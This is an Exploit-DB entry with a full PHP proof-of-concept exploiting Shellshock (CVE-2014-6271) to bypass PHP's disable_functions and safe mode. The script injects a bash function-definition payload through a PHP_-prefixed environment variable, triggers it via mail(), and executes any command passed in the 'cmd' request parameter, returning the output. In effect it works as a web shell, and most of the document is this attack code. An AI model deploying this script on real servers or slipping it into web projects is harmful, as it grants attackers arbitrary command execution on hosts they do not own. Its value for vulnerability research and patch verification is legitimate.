PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection

Author: Ryan King (Starfall)
type: webapps
platform: php
port: 
date_added: 2014-11-17  
date_updated: 2020-02-14  
verified: 0  
codes: CVE-2014-7910;CVE-2014-7227;CVE-2014-7196;CVE-2014-7169;CVE-2014-62771;OSVDB-112004;CVE-2014-6271;CVE-2014-3671;CVE-2014-3659  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/misc/auxxrjf.png  
application_url:   

raw file: 35146.txt  

# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; ?>
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>